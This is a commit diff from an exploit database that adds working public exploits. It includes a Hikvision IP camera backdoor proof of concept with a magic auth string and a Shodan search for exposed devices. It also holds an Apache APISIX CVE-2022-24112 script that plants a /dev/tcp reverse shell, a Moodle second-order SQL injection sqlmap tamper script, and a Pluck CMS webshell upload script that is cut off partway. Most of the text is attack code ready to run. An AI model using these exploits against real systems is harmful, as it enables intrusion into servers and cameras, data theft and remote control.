DB: 2022-03-17
5 changes to exploits/shellcodes Hikvision IP Camera - Backdoor Apache APISIX 2.12.1 - Remote Code Execution (RCE) Moodle 3.11.5 - SQLi (Authenticated) Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated) Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
This commit is contained in:
parent
2ad6c86451
commit
12a90d7198
6 changed files with 881 additions and 0 deletions
21
exploits/hardware/remote/50827.txt
Normal file
21
exploits/hardware/remote/50827.txt
Normal file
|
@ -0,0 +1,21 @@
|
|||
# Exploit Title: Hikvision IP Camera - Backdoor
|
||||
# Date: 14/03/2022
|
||||
# Exploit Author: Sobhan Mahmoodi
|
||||
# Reference: https://ipvm.com/reports/hik-exploit
|
||||
# GitHub: https://github.com/bp2008/HikPasswordHelper/
|
||||
|
||||
Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)
|
||||
|
||||
# Proof of Concept:
|
||||
|
||||
Retrieve a list of all users and their roles:
|
||||
- http://camera.ip/Security/users?auth=YWRtaW46MTEK
|
||||
|
||||
Obtain a camera snapshot without authentication:
|
||||
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
|
||||
|
||||
Download camera configuration:
|
||||
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
|
||||
|
||||
Shodan link to monitor :
|
||||
https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22
|
87
exploits/multiple/remote/50829.py
Executable file
87
exploits/multiple/remote/50829.py
Executable file
|
@ -0,0 +1,87 @@
|
|||
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
|
||||
# Date: 2022-03-16
|
||||
# Exploit Author: Ven3xy
|
||||
# Vendor Homepage: https://apisix.apache.org/
|
||||
# Version: Apache APISIX 1.3 – 2.12.1
|
||||
# Tested on: CentOS 7
|
||||
# CVE : CVE-2022-24112
|
||||
|
||||
|
||||
import requests
|
||||
import sys
|
||||
|
||||
class color:
|
||||
HEADER = '\033[95m'
|
||||
IMPORTANT = '\33[35m'
|
||||
NOTICE = '\033[33m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKGREEN = '\033[92m'
|
||||
WARNING = '\033[93m'
|
||||
RED = '\033[91m'
|
||||
END = '\033[0m'
|
||||
UNDERLINE = '\033[4m'
|
||||
LOGGING = '\33[34m'
|
||||
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
|
||||
|
||||
|
||||
def banner():
|
||||
run = color_random[6]+'''\n . ,
|
||||
_.._ * __*\./ ___ _ \./._ | _ *-+-
|
||||
(_][_)|_) |/'\ (/,/'\[_)|(_)| |
|
||||
| |
|
||||
\n'''
|
||||
run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n'''
|
||||
run3 = color_random[4]+'''{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''
|
||||
print(run+run2+run3)
|
||||
|
||||
if (len(sys.argv) != 4):
|
||||
banner()
|
||||
print("[!] Usage : ./apisix-exploit.py <target_url> <lhost> <lport>")
|
||||
exit()
|
||||
|
||||
else:
|
||||
banner()
|
||||
target_url = sys.argv[1]
|
||||
lhost = sys.argv[2]
|
||||
lport = sys.argv[3]
|
||||
|
||||
headers1 = {
|
||||
'Host': '127.0.0.1:8080',
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
|
||||
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
|
||||
'Accept': '*/*',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': '540',
|
||||
'Connection': 'close',
|
||||
}
|
||||
|
||||
headers2 = {
|
||||
'Host': '127.0.0.1:8080',
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
|
||||
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
|
||||
'Accept': '*/*',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/json',
|
||||
'Connection': 'close',
|
||||
}
|
||||
|
||||
json_data = {
|
||||
'headers': {
|
||||
'X-Real-IP': '127.0.0.1',
|
||||
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
'timeout': 1500,
|
||||
'pipeline': [
|
||||
{
|
||||
'path': '/apisix/admin/routes/index',
|
||||
'method': 'PUT',
|
||||
'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)
|
||||
|
||||
response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)
|
488
exploits/php/webapps/50825.py
Executable file
488
exploits/php/webapps/50825.py
Executable file
|
@ -0,0 +1,488 @@
|
|||
# Exploit Title: Moodle 3.11.5 - SQLi (Authenticated)
|
||||
# Date: 2/3/2022
|
||||
# Exploit Author: Chris Anastasio (@mufinnnnnnn)
|
||||
# Vendor Homepage: https://moodle.com/
|
||||
# Software Link: https://github.com/moodle/moodle/archive/refs/tags/v3.11.5.zip
|
||||
# Write Up: https://muffsec.com/blog/moodle-2nd-order-sqli/
|
||||
# Tested on: Moodle 3.11.5+
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
thanks to:
|
||||
-
|
||||
https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/
|
||||
-
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
|
||||
- Miroslav Stampar for maintaining this incredible tool
|
||||
|
||||
greetz to:
|
||||
- @steventseeley
|
||||
- @fabiusartrel
|
||||
- @mpeg4codec
|
||||
- @0x90shell
|
||||
- @jkbenaim
|
||||
- jmp
|
||||
|
||||
"""
|
||||
|
||||
import sys
|
||||
import requests
|
||||
import re
|
||||
from pprint import pprint
|
||||
from collections import OrderedDict
|
||||
from lib.core.enums import PRIORITY
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from random import sample
|
||||
__priority__ = PRIORITY.NORMAL
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
"""
|
||||
Moodle 2.7dev (Build: 20131129) to 3.11.5+ 2nd Order SQLi Exploit by
|
||||
muffin (@mufinnnnnnn)
|
||||
|
||||
How to use:
|
||||
1. Define the variables at the top of the tamper() function, example:
|
||||
username = "teacher's-username"
|
||||
password = "teacher's-password"
|
||||
app_root = "http://127.0.0.1/moodle"
|
||||
course_id = 3
|
||||
NOTE: the course_id should be a course that your teacher can
|
||||
create badges on
|
||||
|
||||
2. Create a file called `req.txt` that looks like the following. Be
|
||||
sure to update the `Host:` field...
|
||||
|
||||
POST
|
||||
/moodle/badges/criteria_settings.php?badgeid=badge-id-replace-me&add=1&type=6
|
||||
HTTP/1.1
|
||||
Host: <your-target-here>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
||||
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
|
||||
Connection: close
|
||||
|
||||
sesskey=sess-key-replace-me&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&field_country=0&agg=2&description%5Btext%5D=&description%5Bformat%5D=1&submitbutton=Save
|
||||
|
||||
3. Create a file called `req2.txt` that looks like the following.
|
||||
Again, be sure to update the `Host:` field...
|
||||
|
||||
POST /moodle/badges/action.php HTTP/1.1
|
||||
Host: <your-target-here>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
||||
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
|
||||
Connection: close
|
||||
|
||||
id=badge-id-replace-me&activate=1&sesskey=sess-key-replace-me&confirm=1&return=%2Fbadges%2Fcriteria.php%3Fid%3Dbadge_id-replace-me
|
||||
|
||||
4. Run the following sqlmap command, make sure the tamper argument
|
||||
is pointing at this file:
|
||||
|
||||
sqlmap -r req.txt --second-req req2.txt
|
||||
--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1'
|
||||
--drop-set-cookie --answer="login/index.php'. Do you want to
|
||||
follow?=n,Do you want to process it=y" --test-filter='MySQL >= 5.0.12
|
||||
AND time-based blind (query SLEEP)' --current-user --batch --flush
|
||||
|
||||
NOTES:
|
||||
- for some reason after the first run sqlmap complains that
|
||||
it cannot fingerprint
|
||||
the db and will refuse to try enumerating anthing else,
|
||||
this
|
||||
is why there is a flush at the end. I'm sure it can be
|
||||
fixed...
|
||||
- you can do error based with this command (if errors are
|
||||
enabled...not likely):
|
||||
sqlmap -r req.txt --second-req req2.txt
|
||||
--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1'
|
||||
--level=5 --drop-set-cookie --answer="login/index.php'. Do you want to
|
||||
follow?=n,Do you want to process it=y" --batch --current-user
|
||||
--fresh-queries --flush --test-filter='MySQL >= 5.6 AND error-based -
|
||||
WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
|
||||
|
||||
|
||||
How it works (briefly):
|
||||
- In order to get our sql query into the database it's necessary to
|
||||
create a
|
||||
badge and add some criteria. It is when adding the critera that
|
||||
the
|
||||
sql-to-be-executed-2nd-order is inserted into the database.
|
||||
Finally, when the badge is enabled the injected sql is executed.
|
||||
- This tamper script does the following:
|
||||
- log in to the app
|
||||
- update cookie/sesskey for both the 1st and 2nd requests
|
||||
- make all the requests necessary to create the badge, right up
|
||||
until adding the critera
|
||||
- sqlmap itself adds the criteria with whatever payload it's testing
|
||||
- sqlmap makes the 2nd call to enable the badge (runs the injected sql)
|
||||
- next time around the tamper script will delete the badge that it last
|
||||
created to prevent have 10000s of badges for the course
|
||||
|
||||
|
||||
Analysis of the bug:
|
||||
- see http://muffsec.com/blog/moodle-2nd-order-sqli/
|
||||
|
||||
|
||||
Why?:
|
||||
1. It's an interesting bug, 2nd order sqli is more rare (or maybe
|
||||
just harder to find?)
|
||||
2. It's an interesting use of sqlmap. There are some articles
|
||||
talking about using it for 2nd order sqli
|
||||
but the use cases outlined are relatively straightforward.
|
||||
There's a few hacky things being done
|
||||
with sqlmap in this script which others might want to do some
|
||||
day i.e.
|
||||
- using the tamper script to authenticate to the app
|
||||
- updating the Cookie in sqlmap's httpHeader structure
|
||||
- updating the CSRF token (sesskey) in the body of both the
|
||||
1st and 2nd request
|
||||
3. I wanted to practice programming/thought it would be fun. Also I
|
||||
didn't want to reinvent the
|
||||
wheel with a standalone exploit when sqlmap is just so darn
|
||||
good at what it does.
|
||||
|
||||
|
||||
Thoughts:
|
||||
- The exploit is not optimized, halfway through writing I realized
|
||||
there is a badge
|
||||
duplication feature which would cut the number of requests
|
||||
generated down significantly.
|
||||
There's probably many other ways it could be improved as well
|
||||
- I didn't do much testing...it works on my system...
|
||||
- I would be surprised if anyone ever put a `Teacher` level sqli to
|
||||
practical use
|
||||
- As a bonus, this bug is also usable as a stored xss
|
||||
- Would be cool if moodle's bug bounty paid more than kudos
|
||||
"""
|
||||
|
||||
def get_user_session(username, password, app_root):
|
||||
"""
|
||||
- logs in to moodle
|
||||
- returns session object, cookie, and sesskey
|
||||
"""
|
||||
|
||||
s = requests.Session()
|
||||
login_page = "{app_root}/login/index.php".format(app_root=app_root)
|
||||
|
||||
# make first GET request to get cookie and logintoken
|
||||
r = s.get(login_page, verify=False)
|
||||
|
||||
try:
|
||||
token = re.findall('logintoken" value="(.*?)"', r.text)[0]
|
||||
except Exception as e:
|
||||
print("[-] did not find logintoken, is the target correct?")
|
||||
print(e)
|
||||
sys.exit(1)
|
||||
|
||||
payload = {'username': username, 'password': password, 'anchor':
|
||||
'', 'logintoken': token}
|
||||
|
||||
# make second request to actually log in
|
||||
# also let's us get the sesskey
|
||||
r = s.post(login_page, data=payload, allow_redirects=False,
|
||||
verify=False)
|
||||
|
||||
# third request for session test which activates the session
|
||||
cookie = r.cookies.get_dict()
|
||||
r = s.get(r.headers['Location'], verify=False)
|
||||
|
||||
sesskey = re.findall('sesskey":"(.*?)"', r.text)[0]
|
||||
|
||||
if (len(cookie) == 0):
|
||||
sys.exit("[-] Could not establish session! Are credz correct?")
|
||||
|
||||
print("[+] Cookie: {} for user \"{}\"".format(cookie, username))
|
||||
print("[+] sesskey: {} for user \"{}\"".format(sesskey, username))
|
||||
|
||||
return s, cookie, sesskey
|
||||
|
||||
def new_badge1(s, sesskey, app_root, course_id):
|
||||
"""
|
||||
- this is the first request that gets generated when "add a new badge"
|
||||
is clicked.
|
||||
- it returns the `client_id`, `itemid`, and `ctx_id` which are
|
||||
needed on subsequent requests
|
||||
- returns -1 on failure
|
||||
"""
|
||||
target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root)
|
||||
|
||||
# badge type is 2 which is a course badge (rather than a site badge)
|
||||
payload = {'type': 2, 'id': course_id, 'sesskey': sesskey}
|
||||
|
||||
r = s.post(target_url, data=payload, allow_redirects=False,
|
||||
verify=False)
|
||||
|
||||
try:
|
||||
client_id = re.findall('"client_id":"(.*?)"', r.text)[0]
|
||||
except Exception as e:
|
||||
print("[-] failed to grab client_id in new_badge1()")
|
||||
print(e)
|
||||
return -1
|
||||
|
||||
try:
|
||||
itemid = re.findall('"itemid":(.*?),"', r.text)[0]
|
||||
except Exception as e:
|
||||
print("[-] failed to grab itemid in new_badge1()")
|
||||
print(e)
|
||||
return -1
|
||||
|
||||
try:
|
||||
ctx_id = re.findall('&ctx_id=(.*?)&', r.text)[0]
|
||||
except Exception as e:
|
||||
print("[-] failed to grab ctx_id in new_badge1()")
|
||||
print(e)
|
||||
return -1
|
||||
|
||||
return client_id, itemid, ctx_id
|
||||
|
||||
|
||||
def image_signin(s, sesskey, app_root, client_id, itemid, ctx_id):
|
||||
"""
|
||||
- sadly, in order to create a badge we have to associate an image
|
||||
- this request adds an image which is a moodle logo from wikimedia
|
||||
- returns sourcekey on success
|
||||
- return -1 on failure
|
||||
"""
|
||||
|
||||
target_url =
|
||||
"{app_root}/repository/repository_ajax.php?action=signin".format(app_root=app_root)
|
||||
|
||||
# repo id 6 is for when we are downloading an image
|
||||
payload = {'file':
|
||||
'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png',
|
||||
|
||||
'repo_id': '6', 'p': '', 'page': '', 'env': 'filepicker',
|
||||
'accepted_types[]': '.gif', 'accepted_types[]': '.jpe',
|
||||
'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg',
|
||||
'accepted_types[]': '.png', 'sesskey': sesskey,
|
||||
'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144',
|
||||
'areamaxbytes': '-1', 'ctx_id': ctx_id}
|
||||
|
||||
r = s.post(target_url, data=payload, allow_redirects=False,
|
||||
verify=False)
|
||||
|
||||
|
||||
try:
|
||||
sourcekey = re.findall('"sourcekey":"(.*?)","', r.text)[0]
|
||||
except Exception as e:
|
||||
print("[-] failed to grab sourcekey in image_signin()")
|
||||
print(e)
|
||||
return -1
|
||||
|
||||
return sourcekey
|
||||
|
||||
|
||||
def image_download(s, sesskey, app_root, client_id, itemid, ctx_id,
|
||||
sourcekey):
|
||||
"""
|
||||
- continues the image flow started in image_signin(), here the
|
||||
actual download happens
|
||||
- returns image_id on success
|
||||
- return -1 on failure
|
||||
"""
|
||||
|
||||
target_url =
|
||||
"{app_root}/repository/repository_ajax.php?action=download".format(app_root=app_root)
|
||||
|
||||
# repo id 6 is for when we are downloading from an image from a URL
|
||||
payload = {'repo_id': '6', 'p': '', 'page': '', 'env':
|
||||
'filepicker', 'accepted_types[]': '.gif', 'accepted_types[]': '.jpe',
|
||||
'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg',
|
||||
'accepted_types[]': '.png', 'sesskey': sesskey,
|
||||
'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144',
|
||||
'areamaxbytes': '-1', 'ctx_id': ctx_id,
|
||||
'title': '512px-Moodle-logo.svg.png',
|
||||
'source':
|
||||
'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png',
|
||||
|
||||
'savepath': '/', 'sourcekey': sourcekey, 'license': 'unknown',
|
||||
'author': 'moodle-hax'}
|
||||
|
||||
r = s.post(target_url, data=payload, allow_redirects=False,
|
||||
verify=False)
|
||||
|
||||
try:
|
||||
image_id = re.findall(',"id":(.*?),"file', r.text)[0]
|
||||
except Exception as e:
|
||||
print("[-] failed to grab image_id in image_download()")
|
||||
print(e)
|
||||
return -1
|
||||
|
||||
return image_id
|
||||
|
||||
|
||||
def new_badge2(s, sesskey, app_root, course_id, image_id,
|
||||
name="sqlmap-badge", description="sqlmap-description"):
|
||||
"""
|
||||
- finally we are actually creating the badge
|
||||
"""
|
||||
target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root)
|
||||
|
||||
# badge type is 2 which is a course badge (rather than a site badge)
|
||||
payload = {'type': '2', 'id': course_id, 'action': 'new',
|
||||
'sesskey': sesskey,
|
||||
'_qf__core_badges_form_badge': '1',
|
||||
'mform_isexpanded_id_badgedetails': '1',
|
||||
'mform_isexpanded_id_issuancedetails': '1', 'name': name,
|
||||
'version': '',
|
||||
'language': 'en', 'description': description, 'image': image_id,
|
||||
'imageauthorname': '', 'imageauthoremail': '',
|
||||
'imageauthorurl': '',
|
||||
'imagecaption': '', 'expiry': '0', 'submitbutton': 'Create+badge'}
|
||||
|
||||
r = s.post(target_url, data=payload, allow_redirects=False,
|
||||
verify=False)
|
||||
|
||||
try:
|
||||
badge_id = re.findall('badges/criteria.php\?id=(.*?)"', r.text)[0]
|
||||
except Exception as e:
|
||||
#print("[-] failed to grab badge_id in new_badge2()")
|
||||
#print(e)
|
||||
return -1
|
||||
|
||||
return badge_id
|
||||
|
||||
|
||||
def delete_badge(s, sesskey, app_root, course_id, badge_id):
|
||||
"""
|
||||
- delete the badge
|
||||
"""
|
||||
target_url = "{app_root}/badges/index.php".format(app_root=app_root)
|
||||
|
||||
# badge type is 2 which is a course badge (rather than a site badge)
|
||||
payload = {'sort': 'name', 'dir': 'ASC', 'page': '0', 'type': '2',
|
||||
'id': course_id, 'delete': badge_id, 'confirm': '1',
|
||||
'sesskey': sesskey}
|
||||
|
||||
# TODO: add validation logic
|
||||
r = s.post(target_url, data=payload, allow_redirects=False,
|
||||
verify=False)
|
||||
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
|
||||
username = "teacher"
|
||||
password = "password"
|
||||
app_root = "http://127.0.0.1/moodle"
|
||||
course_id = 3
|
||||
|
||||
# check if cookie is set
|
||||
# cookie should not be set in the request file or this script will fail
|
||||
#
|
||||
https://stackoverflow.com/questions/946860/using-pythons-list-index-method-on-a-list-of-tuples-or-objects
|
||||
try:
|
||||
cookie_index = [x[0] for x in conf.httpHeaders].index('Cookie')
|
||||
except ValueError:
|
||||
# if no cookie is found we run the session initialization routine
|
||||
s, cookie, sesskey = get_user_session(username, password, app_root)
|
||||
|
||||
# this updates the sqlmap cookie
|
||||
conf.httpHeaders.append(('Cookie',
|
||||
'MoodleSession={}'.format(cookie['MoodleSession'])))
|
||||
|
||||
# here we're making our own global variable to hold the sesskey
|
||||
and session object
|
||||
conf.sesskey = sesskey
|
||||
conf.s = s
|
||||
|
||||
# check if a badge_id is set, if so delete it before making the new one
|
||||
try:
|
||||
conf.badge_id is None
|
||||
delete_badge(conf.s, conf.sesskey, app_root, course_id,
|
||||
conf.badge_id)
|
||||
except AttributeError:
|
||||
# we should only hit this on the very first run
|
||||
# we hit the AttributeError because conf.badge_id doesn't exist yet
|
||||
pass
|
||||
|
||||
#
|
||||
## do all the badge creation flow up the point of adding the criteria
|
||||
#
|
||||
client_id, itemid, ctx_id = new_badge1(conf.s, conf.sesskey,
|
||||
app_root, course_id)
|
||||
sourcekey = image_signin(conf.s, conf.sesskey, app_root, client_id,
|
||||
itemid, ctx_id)
|
||||
image_id = image_download(conf.s, conf.sesskey, app_root,
|
||||
client_id, itemid, ctx_id, sourcekey)
|
||||
|
||||
# we need to store the badge_id globally
|
||||
conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root,
|
||||
course_id, image_id)
|
||||
|
||||
|
||||
# - if badge creation failed try deleting the last known badgeid
|
||||
# - it's most likely failing because a badge already exists with
|
||||
the same name
|
||||
# - yes, it's ugly
|
||||
# - if you control+c and there is a badge with some BS criteria you
|
||||
will
|
||||
# only see an error on the badge management page and won't be
|
||||
# able to delete it through moodle
|
||||
# - if the trouble badgeid is known it can be deleted to resolve
|
||||
the issue
|
||||
if (conf.badge_id == -1):
|
||||
with open("/tmp/last-known-badge-id", "r") as f:
|
||||
conf.badge_id = f.read()
|
||||
delete_badge(conf.s, conf.sesskey, app_root, course_id,
|
||||
conf.badge_id)
|
||||
|
||||
conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root,
|
||||
course_id, image_id)
|
||||
if (conf.badge_id == -1):
|
||||
sys.exit("[-] ya done fucked up...")
|
||||
|
||||
with open("/tmp/last-known-badge-id", "w") as f:
|
||||
f.write(conf.badge_id)
|
||||
|
||||
# - update the sesskey and badge_id in the body of the requests
|
||||
# - it seems necessary to update both the conf.parameters and
|
||||
conf.paramDict structures
|
||||
post =
|
||||
("sesskey={sesskey}&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&"
|
||||
"mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&"
|
||||
"field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&"
|
||||
"field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&"
|
||||
"field_country=0&agg=2&description[text]=&description[format]=1&submitbutton=Save".format(sesskey=conf.sesskey))
|
||||
|
||||
get = "badgeid={badge_id}&add=1&type=6".format(badge_id=conf.badge_id)
|
||||
|
||||
conf.parameters = {'(custom) POST': post,
|
||||
'GET': get,
|
||||
'Host': conf.parameters['Host'],
|
||||
'Referer': conf.parameters['Referer'],
|
||||
'User-Agent': conf.parameters['User-Agent']}
|
||||
|
||||
conf.paramDict = {'(custom) POST': OrderedDict([('#1*', post)]),
|
||||
'GET': OrderedDict([('badgeid', conf.badge_id),
|
||||
('add', '1'),
|
||||
('type', '6')]),
|
||||
'Host': {'Host': conf.parameters['Host']},
|
||||
'Referer': {'Referer':
|
||||
'{app_root}/badges/criteria_settings.php'.format(app_root=app_root)},
|
||||
'User-Agent': {'User-Agent': 'Mozilla/5.0 (Windows NT
|
||||
10.0; Win64; x64) AppleWebKit/537.36 '
|
||||
'(KHTML, like Gecko)
|
||||
Chrome/98.0.4758.82 Safari/537.36'}}
|
||||
|
||||
# we need to update values for the second request too
|
||||
secondReq_url = ("id={badge_id}&activate=1&sesskey={sesskey}&"
|
||||
"confirm=1&return=/badges/criteria.php?id={badge_id}".format(badge_id=conf.badge_id,
|
||||
|
||||
sesskey=conf.sesskey))
|
||||
|
||||
kb['secondReq'] =
|
||||
('{app_root}/badges/action.php'.format(app_root=app_root), 'POST',
|
||||
secondReq_url, None,
|
||||
(('Host', app_root.split('/')[2]),
|
||||
('Content-Type', 'application/x-www-form-urlencoded'),
|
||||
('Cookie',
|
||||
'MoodleSession={}'.format(conf.s.cookies.get_dict()['MoodleSession'])),
|
||||
# yes, ugly
|
||||
('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
||||
AppleWebKit/537.36'
|
||||
' (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36')))
|
||||
|
||||
return payload
|
140
exploits/php/webapps/50826.py
Executable file
140
exploits/php/webapps/50826.py
Executable file
|
@ -0,0 +1,140 @@
|
|||
# Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)
|
||||
# Date: 13.03.2022
|
||||
# Exploit Author: Ashish Koli (Shikari)
|
||||
# Vendor Homepage: https://github.com/pluck-cms/pluck
|
||||
# Version: 4.7.16
|
||||
# Tested on Ubuntu 20.04.3 LTS
|
||||
# CVE: CVE-2022-26965
|
||||
# Usage : python3 exploit.py <IP> <Port> <Password> <Pluckcmspath>
|
||||
# Example: python3 exploit.py 127.0.0.1 80 admin /pluck
|
||||
# Reference: https://github.com/shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC
|
||||
|
||||
'''
|
||||
Description:
|
||||
A theme upload functinality in Pluck CMS before 4.7.16 allows an admin
|
||||
privileged user to gain access in the host through the "themes files",
|
||||
which may result in remote code execution.
|
||||
'''
|
||||
|
||||
|
||||
'''
|
||||
Import required modules:
|
||||
'''
|
||||
import sys
|
||||
import requests
|
||||
import json
|
||||
import time
|
||||
import urllib.parse
|
||||
import struct
|
||||
|
||||
'''
|
||||
User Input:
|
||||
'''
|
||||
target_ip = sys.argv[1]
|
||||
target_port = sys.argv[2]
|
||||
password = sys.argv[3]
|
||||
pluckcmspath = sys.argv[4]
|
||||
|
||||
|
||||
'''
|
||||
Get cookie
|
||||
'''
|
||||
session = requests.Session()
|
||||
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
|
||||
response = session.get(link)
|
||||
cookies_session = session.cookies.get_dict()
|
||||
cookie = json.dumps(cookies_session)
|
||||
cookie = cookie.replace('"}','')
|
||||
cookie = cookie.replace('{"', '')
|
||||
cookie = cookie.replace('"', '')
|
||||
cookie = cookie.replace(" ", '')
|
||||
cookie = cookie.replace(":", '=')
|
||||
|
||||
|
||||
'''
|
||||
Authentication:
|
||||
'''
|
||||
# Compute Content-Length:
|
||||
base_content_len = 27
|
||||
password_encoded = urllib.parse.quote(password, safe='')
|
||||
password_encoded_len = len(password_encoded.encode('utf-8'))
|
||||
content_len = base_content_len + password_encoded_len
|
||||
|
||||
# Construct Header:
|
||||
header = {
|
||||
'Host': target_ip,
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
||||
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Content-Length': str(content_len),
|
||||
'Origin': 'http://' + target_ip,
|
||||
'Connection': 'close',
|
||||
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
|
||||
'Cookie': cookie,
|
||||
'Upgrade-Insecure-Requests': '1'
|
||||
}
|
||||
|
||||
# Construct Data:
|
||||
body = {
|
||||
'cont1': password,
|
||||
'bogus': '',
|
||||
'submit': 'Log in',
|
||||
}
|
||||
|
||||
# Authenticating:
|
||||
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
|
||||
auth = requests.post(link_auth, headers=header, data=body)
|
||||
print('')
|
||||
if 'error' in auth.text:
|
||||
print('Password incorrect, please try again:')
|
||||
exit()
|
||||
else:
|
||||
print('Authentification was succesfull, uploading webshell')
|
||||
print('')
|
||||
|
||||
|
||||
'''
|
||||
Upload Webshell:
|
||||
'''
|
||||
# Construct Header:
|
||||
header1 = {
|
||||
'Host': target_ip,
|
||||
'Cache-Control': 'max-age=0',
|
||||
'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="90"',
|
||||
'sec-ch-ua-mobile': '?0',
|
||||
'Origin': 'http://' + target_ip,
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
|
||||
'Sec-Fetch-Site': 'same-origin',
|
||||
'Sec-Fetch-Mode': 'navigate',
|
||||
'Sec-Fetch-User': '?1',
|
||||
'Sec-Fetch-Dest': 'document',
|
||||
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Accept-Language': 'en-US,en;q=0.9',
|
||||
'Cookie': cookie,
|
||||
'Connection': 'close',
|
||||
|
||||
}
|
||||
|
||||
|
||||
# loading Webshell payload:
|
||||
path = 'shell.tar'
|
||||
fp = open(path,'rb')
|
||||
data= fp.read()
|
||||
|
||||
|
||||
# Uploading Webshell:
|
||||
